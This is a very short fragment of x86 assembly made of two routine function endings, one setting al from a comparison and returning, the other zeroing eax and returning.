sete al
ret
xor eax, eax
ret